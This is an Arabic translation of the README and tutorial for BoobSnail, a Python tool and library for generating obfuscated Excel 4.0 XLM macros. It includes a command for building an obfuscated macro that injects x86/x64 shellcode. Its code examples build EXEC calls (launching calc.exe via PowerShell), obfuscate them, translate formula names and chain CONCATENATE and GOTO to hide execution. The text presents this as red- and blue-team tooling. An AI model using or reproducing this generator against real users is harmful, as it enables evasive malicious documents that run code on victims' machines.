
توليد وحدات ماكرو XLM الخاصة بـ Excel 4.0 بشكل مبهم لعمليات الفريق الأحمر وتحليل الفريق الأزرق، مع دعم لتقنيات الإصابة المتعددة، وترجمة الصيغ، والمولدات المخصصة القائمة على المكتبات.
تابعنا على تويتر!
BoobSnail يتيح إنشاء ماكرو XLM (Excel 4.0). يهدف إلى دعم فريقي RedTeam و BlueTeam في توليد ماكرو XLM. الميزات:
تم الاختبار على: Python 3.8.7rc1
pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)
python boobsnail.py <generator> -h
لعرض المولدات المتاحة، اكتب:
python boobsnail.py
توليد ماكرو معتم يحقن شيل كود x64 أو x86:
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv
توليد ماكرو معتم يشغل calc.exe:
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
BoobSnail يشارك مكتبة excel4lib التي تتيح إنشاء مولد ماكرو Excel4 الخاص بك. تحتوي excel4lib على عدة فئات يمكن استخدامها أثناء كتابة المولد:
الفكرة الرئيسية لهذه المكتبة هي تمثيل صيغ Excel4، المتغيرات، وسيطات الصيغ، والقيم ككائنات Python. بفضل ذلك يمكنك تغيير سمات التعليمات مثل أسماء الصيغ أو المتغيرات، القيم، العناوين، إلخ بطريقة سهلة. على سبيل المثال، لنقم بإنشاء ماكرو بسيط يشغل calc.exe:
from excel4lib.macro import *
# إنشاء كائن الماكرو
macro = Excel4Macro("test.csv")
# إضافة متغير باسم cmd بقيمة "calc.exe" إلى ورقة العمل
cmd = macro.variable("cmd", "calc.exe")
# إضافة صيغة EXEC مع الوسيطة cmd
macro.formula("EXEC", cmd)
# تفريغ إلى CSV
print(macro.to_csv())
النتيجة:
cmd="calc.exe";
=EXEC(cmd);
الآن لنقل أنك تريد تعتيم الماكرو الخاص بك. لفعل ذلك، فقط تحتاج إلى استيراد المعتم وتمريره إلى كائن Excel4Macro:
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# إنشاء كائن الماكرو
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# إضافة متغير باسم cmd بقيمة "calc.exe" إلى ورقة العمل
cmd = macro.variable("cmd", "calc.exe")
# إضافة صيغة EXEC مع الوسيطة cmd
macro.formula("EXEC", cmd)
# تفريغ إلى CSV
print(macro.to_csv())
لحاليًا، تشارك excel4lib فئتي تعتيم:
كما ترى، يمكنك كتابة فئة التعتيم الخاصة بك واستخدامها في Excel4Macro.
أحيانًا ستحتاج إلى ترجمة الماكرو إلى لغة أخرى، مثلاً لغتك الأم، في حالتي البولندية. مع excel4lib هذا سهل جدًا. تحتاج فقط إلى استيراد فئة Excel4Translator واستدعاء set_language:
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# تغيير اللغة
Excel4Translator.set_language("pl_PL")
# إنشاء كائن الماكرو
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# إضافة متغير باسم cmd بقيمة "calc.exe" إلى ورقة العمل
cmd = macro.variable("cmd", "calc.exe")
# إضافة صيغة EXEC مع الوسيطة cmd
macro.formula("EXEC", cmd)
# تفريغ إلى CSV
print(macro.to_csv())
النتيجة:
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);
حاليًا، يتم دعم اللغتين الإنجليزية والبولندية فقط. إذا أردت استخدام لغة أخرى، يجب إضافة الترجمات في دليل excel4lib/lang/langs.
بالتأكيد، ستحتاج إلى إنشاء صيغة تأخذ صيغة أخرى كوسيطة. يمكنك فعل ذلك باستخدام دالة Excel4Macro.argument.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# إضافة متغير باسم cmd بقيمة "calc" إلى ورقة العمل
cmd_1 = macro.variable("cmd", "calc")
# إضافة خلية تحتوي على ".exe" كقيمة
cmd_2 = macro.value(".exe")
# إنشاء صيغة CONCATENATE التي تدمج cmd_1 و cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# تمرير استدعاء CONCATENATE كوسيطة لصيغة EXEC
macro.formula("EXEC", exec_arg)
# تفريغ إلى CSV
print(macro.to_csv())
النتيجة:
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));
كما ترى، تم تمرير السلسلة ".exe" إلى صيغة CONCATENATE كـ R2C1. R2C1 هو عنوان القيمة ".exe" (رقم الصف 2 ورقم العمود 1). excel4lib تعيد المراجع للصيغ والقيم كعناوين. المراجع للمتغيرات تعاد كأسمائها. ربما لاحظت أن فئة Excel4Macro تضيف الصيغ والمتغيرات والقيم إلى ورقة العمل تلقائيًا بالترتيب الذي يتم إنشاء هذه الكائنات به، وأن عنوان البداية هو R1C1. ماذا لو أردت وضع الصيغ في عمود أو صف آخر؟ يمكنك فعل ذلك باستدعاء دالة Excel4Macro.set_cords.
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# العمود 1
# إضافة متغير باسم cmd بقيمة "calc" إلى ورقة العمل
cmd_1 = macro.variable("cmd", "calc")
# إضافة خلية تحتوي على ".exe" كقيمة
cmd_2 = macro.value(".exe")
# العمود 2
# تغيير الإحداثيات إلى العمود 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# تمرير استدعاء CONCATENATE كوسيطة لصيغة EXEC
exec_call = macro.formula("EXEC", exec_arg)
# العمود 1
# العودة إلى العمود 1. تغيير الإحداثيات إلى العمود 1 والصف 3
macro.set_cords(1,3)
# الانتقال إلى استدعاء EXEC
macro.goto(exec_call)
# تفريغ إلى CSV
print(macro.to_csv())
النتيجة:
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;